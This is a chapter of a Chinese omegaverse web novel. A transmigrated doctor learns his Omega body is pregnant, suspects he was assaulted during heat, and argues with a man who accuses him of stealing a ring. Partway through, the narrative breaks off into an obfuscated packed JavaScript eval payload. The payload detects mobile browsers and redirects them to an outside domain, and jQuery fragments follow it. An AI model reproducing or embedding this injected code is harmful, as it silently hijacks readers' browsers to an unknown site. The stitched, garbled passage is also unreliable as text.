楚衿头一次觉得医院消毒水味道带来的不是安稳踏实。
医院走廊里的人来来往往,周遭异样打量的眼光落在他身上,楚衿一个人坐在化验室外面冰凉的椅子上等待结果。
妇科化验室外面的椅子上,等待的人很多,大多数都是女生,或结伴而来,所以当楚衿一个人坐下的时候,很容易让人理解成一个不负责任的渣男。
渣男是什么样子?
带着帽子口罩,盯着地面上的一个点,但眼神没有聚焦,紧张焦灼,慌张到需要压着自己的手才能不颤抖。
楚衿深深吐出一口气,他听见叫号叫了一个名字,于是站了起来,往取报告的地方去。
楚医生在一群八卦的视线里拿了报告,但他没有在现场看,也没有回门诊室,而是直接转身离开了。
私立医院注意个人隐私的保护,院内的绿化环境干净清新,门诊楼后面又一个小公园,用来给病人和医生们放松和休息。
人们相信,充满勃勃生机的植物可以带来希望。
一个半小时之前,楚衿坐在就这个位置上,思考自己到底要不要戴着假发进去做检查。
现在,那顶被他戴着进去的假发就放在旁边的包里,楚衿手里捏着检查报告的一角,把所有情况都在脑子里过了个遍。
得益于这个世界开放和包容,身高一米八的楚医生就诊的时候并没有受到实质性的质疑,或许是应为他花大价钱买的假发足够逼真吧。
在等待检查报告出来的时候,楚衿把假发拿掉了。
不是因为违和感太重,而是他实在不习惯戴着假发的样子,有点别扭,但这个世界里的男人不能怀孕,楚衿必须乔装。
他暂时还不想成为医学界科研论文中的研究对象。
如果结果真如楚衿所料,那就意味着他并不像自己所想那样进入了“楚今”的身体里,而是以那个腺体发育不全的残疾Omega的身份来到的这个世界。
起风了,头顶的树叶沙沙作响,时至正午,阳光已经有些刺眼。
楚衿的视线落在手上这张薄纸上。
检查报告上,清楚的临床诊断写着:
确认妊娠状态。
血检报告不会有错,作为前产科一把手的楚医生对报告上的各种数值也再熟悉不过了。
一时间,楚衿也不知道该怎么形容他现在的心情,有点懵。
不是因为自己Omega的身份,而是……自己居然怀孕了。
自己都没有和别人做过,怎么怀的孕?
算一下时间,楚衿在这个世界已经适应了快一个月,往前推,穿过来的那个晚上发情期提前,他打了抑制剂,并锁了办公室的门,不可能是那个晚上。
再往前推的那一次发情期好像是值夜班在医院休息室里度过的,但那一次抑制剂用完了,所以楚衿是硬生生抗过了发情期,非要说的话,他好像确实做了一场旖旎的梦。
那场梦很真实,真实到自己醒来时头昏脑胀,身上都是痛的,只不过硬抗发情期带来的后遗症也不少,楚衿并没有当回事。
于是第二天,产科社畜楚医生打了一针抑制剂,又爬上手术台去了。
楚衿冷静下来,如果梦不是梦,那就只有一个解释,自己在一个Omega最脆弱的发情期被人□□了。
畜生。
枪决这样痛快的死法简直太便宜他了。
楚衿低声骂了一句,气愤到呼吸沉中,脖子上青筋绷起,眸光冷冽。如果能回去,他一定找到那个畜生,在Omega保护法判决他的死刑之前,楚衿要亲手阉了他,再一点点挖掉他的腺体。
婆娑树影遮住头顶刺眼的太阳,阳光从树缝中透出来照在纸上,几乎要把上面的名字戳出一个洞来。
不知不觉,楚衿攥的这张化验单的一角都皱在了一起。
如果真的是这样,这个孩子,不,这个胚胎……绝对不能留。
周遭的空气变得沉闷粘腻,好像在楚衿周围蒙上了一层透明膜,让人透不过气来。
楚衿垂眸深思,他不确定这个世界没有技术让他打掉这个胚胎,为了一个胚胎搭上自己的命太不值得。
视线聚焦在石板路的光斑上,那块崎岖的光斑在他眼里一点点消失了。
天阴了下来。
楚衿突然闻到一阵苦涩的味道,不太好闻。
“你知道我找了你多久吗?”
头顶传来一道声音,夹杂着还没喘匀的呼吸,风声都小了几分。
楚衿愣了愣,缓缓抬起头,天并没有阴下来,只是眼前这个人背着光站在自己面前遮住了太阳,肆意张扬。
楚衿眉心微蹙,“你是?”
怕错过了人急匆匆跑来的靳大少爷见状,冷笑了一声,阴阳怪气道:“这么快就忘记我了,小偷先生。”
小偷?
楚衿捕捉到这个字眼,再看看面前这个人不悦的脸色,哦想起来了,那个丢了戒指的疯子。
看来他没有在他的出租屋里找到戒指。
楚衿对楚今之前在这个世界做的事情一无所知,但他知道楚今缺钱,同样爱赌,如果楚今真的偷了那个戒指,并且那枚戒指很值钱的话,他转手卖掉也不是没有可能。
但他不能因为楚今缺钱,就将罪名理所当然地扣在他头上。
至于有没有拿戒指,怎么拿到的戒指?是一夜情还是仙人跳,也只有楚今自己知道了。
反正不在他手上。
楚衿语气平稳,丝毫不见刚才骂人的戾气,“你非说是我偷了戒指,有证据证明吗?”
他还没冲动到他自己穿越的事情说出来。
解释苍白无力,远远没有证据直接。
如果疯子真的拿出证据,楚衿不会不认,但无端的指控,楚衿也没必要替原主认下。
如他所想,丢了戒指的‘疯子’没证据证明。
靳则序真是要被气笑了,他还从来没见过一个偷东西的人能这么理直气壮。
“楚先生?”
楚衿拧眉:“你怎么知道我姓楚?”
“你有兄弟姐妹吗?”靳则序突然问。
这一问倒是把楚衿问懵了,莫名其妙。
“没有。”他说
“那好,跟我来。”靳则序一把拽住了楚衿的手腕,牵动到他胳膊上的伤,楚衿下意识蹙眉。
“你干什么!”
丢了戒指的疯子紧紧抓着自己的胳膊,楚衿挣脱的动作下,手里那张薄薄的报告单飘落在地上。
楚衿愣了一下,风带着那张纸往前走。
他下意识站起来去追,但疯子比他更快,居然先一步他抢过了报告单。
靳则序快速扫了一个报告单上的文字,诊断报告那六个大字,确认妊娠状态,让靳则序倏地瞪大了眼睛。
“你,你怀孕了!”
什么戒指小偷的,靳则序大脑瞬间一片空白,他难以置信地抬起头,看向楚衿,欲言又止,“你,孩子是我的?”
楚衿脸色瞬间沉了下来,他一把扯过检查单,冷声说:“不是,孩子不是你的,我没有怀孕。”
“孩子不是我的是谁的?”
楚衿被他的话噎了一下,这人是不是脑子有问题,他难道不知道这个世界的男人不能怀孕吗?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453130|169507||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
两人对视着,互相沉默着。
气氛尴尬,靳则序却浑然不觉,靳大少爷此时脑海里已经是翻江倒海天翻地覆,他突然想起宝光寺住持和他说过的话:“你这辈子一定会有一个孩子。”
一个孩子……
孩子!
靳则序盯着楚衿那双清隽淡漠的眼睛,拧了拧眉:“你还和别人做过?”
楚衿:“…………”
戒指丢了会影响智商吗?如果是这样,楚医生真挚建议面前这位先生去看看医生。
这样荒诞想法他是怎么立马说服自己接受的?
楚衿突然觉得好笑,他虽然不知道疯子为什么笃定是自己怀孕他的孩子,但他要是现在承认自己能怀孕才是真的疯了。
楚衿展开那张单子,送到靳则序面前。
“麻烦您看清楚单子上面的人是谁,是男还是女。”
靳则序俯身,楚衿又闻到了那一股熟悉的清苦的味道,只不过苦味淡下来,散发出植物的清香,他轻轻吐出一口气,压下心口的恶心。
靳则序视线落在单子上,从头看,他终于看到了报告单上的名字和性别,是一个女生,不姓楚。
靳则序心头刚燃起来的小火苗被楚衿泼过来的加了冰块的冷水当头浇灭了,有点冷,靳大少爷站在大太阳底下冷不丁打了个寒颤。
“看清楚了吗?”楚衿声音冰凉。
靳则序紧皱眉头,面色不虞,刚伸手碰到检查报告的一角,楚衿的手就往后收了一下,不着痕迹地把检查报告收了起来。
还好楚衿有先见之明,他没有身份证,之所以今天能来医院,是洛长青找他的一个表姐借的一张身份证。
洛长青不知道他要这张身份证是什么用途,出于最自己的信任,洛长青第二天就把身份证带来了。
在那之前楚衿在路边的药店买了验孕棒,另一条杠颜色很浅,楚医生明白两条杠意味着什么。
意味着自己还是一个残疾Omega,在这个没有第二性征的世界里,他还是一个异类。
楚衿明白怀孕的风险,所以他必须来医院检查,没有看到血检报告之前,楚衿心里总还有着一点希望。
好了,那点微弱的希望彻底没了。
楚医生现在心情很差。
“还有事吗这位先生?”
靳则序盯着楚衿那张清隽冷淡的脸,不想放过他脸上任何一点微表情,“怎么?还想往我脸上喷辣椒水?”
楚衿哼笑了一声,要不是今天没带,他还真有这个心思。
但靳则序总觉得哪里有点奇怪,“检查的那个人呢?你女朋友?她在哪儿?”
楚衿心中一紧,语气不耐:“我想我没必要告诉你。”
靳则序挑眉:“行。”
没有女朋友的楚医生被他赤裸裸的目光盯的有点心虚。
他拿起长椅上的东西准备离开,身侧靳则序突然意味深长地说了一句,“没想到,楚先生还男女通吃呢。”
楚衿假装听不懂他话里古怪的揶揄,脚步不停,和靳则序错来。
等他从自己身边走过,靳则序突然闻一股味道,好像在哪里闻到过,很淡,飘散在空气里。
‘小偷’略显单薄的背影在他视线里大摇大摆地离开,‘疯子’勾唇笑了一下。
“我叫靳则序。”
靳大少爷跟在后面张扬又戏谑地高喊了一声,“楚先生,再会!”
高挺的身影被路边篱笆上的常春藤掩住,叶片稀稀疏疏,随风摇曳,靳则序没看见楚衿脚步顿了一下。
“很快会再见面的。”靳则序低声喃喃。